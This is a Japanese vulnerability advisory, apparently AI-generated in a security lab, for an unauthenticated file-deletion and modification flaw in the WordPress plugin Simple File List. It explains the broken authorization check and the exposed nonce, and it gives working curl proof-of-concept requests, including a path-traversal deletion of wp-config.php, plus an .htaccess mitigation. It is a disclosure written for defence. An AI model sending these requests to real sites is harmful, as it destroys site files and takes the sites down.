
認可欠如による未認証ファイル改ざん
| フィールド | 値 |
|---|---|
| CVE ID | CVE-2026-11912 |
| CVSSスコア | 7.5 (High) |
| CVSSベクトル | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| 影響を受けるプラグイン | Simple File List |
| 影響を受けるバージョン | <= 6.3.7 |
| 修正済みバージョン | 6.3.8 |
| 公開日 | 2026年6月19日 |
| 研究者 | Chloe Chamberland - Wordfence |
| ラボ環境 | poloss-lab.ddev.site (DDEV) |
WordPress用プラグインSimple File Listは、バージョン6.3.7までの全バージョンにおいて、認可チェックが不十分なため、任意のファイル改ざんが可能な脆弱性があります。これにより、認証されていない攻撃者がサーバー上のファイルを削除・改ざんすることが可能になります。
この脆弱性は以下の理由で存在します:
AJAXエンドポイントの登録: simplefilelist_edit_job AJAXアクションは、wp_ajax_ と wp_ajax_nopriv_ の両方のフックで登録されており、認証されていないアクセスを許可しています:
add_action('wp_ajax_simplefilelist_edit_job', 'simplefilelist_edit_job');
add_action('wp_ajax_nopriv_simplefilelist_edit_job', 'simplefilelist_edit_job');
脆弱な認可チェック: eeSFL_FileEditor()(1265行目)の認可ロジックは以下を使用しています:
if(!is_admin() AND $eeSFL->eeListSettings['AllowFrontManage'] != 'YES') {
return;
}
is_admin()関数はAJAXリクエストに対してFALSEを返すため、AllowFrontManage設定が評価される前に認可チェックが短絡されます。
Nonceの露出: セキュリティnonce(eeSFL_ActionNonce)はwp_create_nonce()を使用して生成され、フロントエンドHTMLのソースコードに露出しているため、攻撃者は認証なしでそれを抽出できます。
テスト中、この脆弱性を悪用してWordPress設定ファイル(wp-config.php)を削除することに成功し、サイトを完全に破壊しました。 これは、この脆弱性のパストラバーサル面の重大な深刻度を示しています。
# Get the security nonce from the file list page
curl -k -sL "https://poloss-lab.ddev.site/file-list/" | grep -o 'eeSFL_ActionNonce">[^<]*'
# Output: eeSFL_ActionNonce">1c14af78c2
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Delete" \
-d "eeFileName=test.txt"
# Response: SUCCESS
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Edit" \
-d "eeFileName=original.pdf" \
-d "eeFileNameNew=malicious.pdf"
# Response: SUCCESS
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Delete" \
-d "eeFileName=../../wp-config.php"
# Response: SUCCESS (CRITICAL - This breaks the site!)
[eeSFL]ショートコードを含むページを削除# Block simplefilelist_edit_job AJAX calls
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{QUERY_STRING} action=simplefilelist_edit_job
RewriteRule ^wp-admin/admin-ajax\.php$ - [F,L]
</IfModule>
Claude Code - WordPressセキュリティテストラボによって生成されたレポート 日付: 2026年6月20日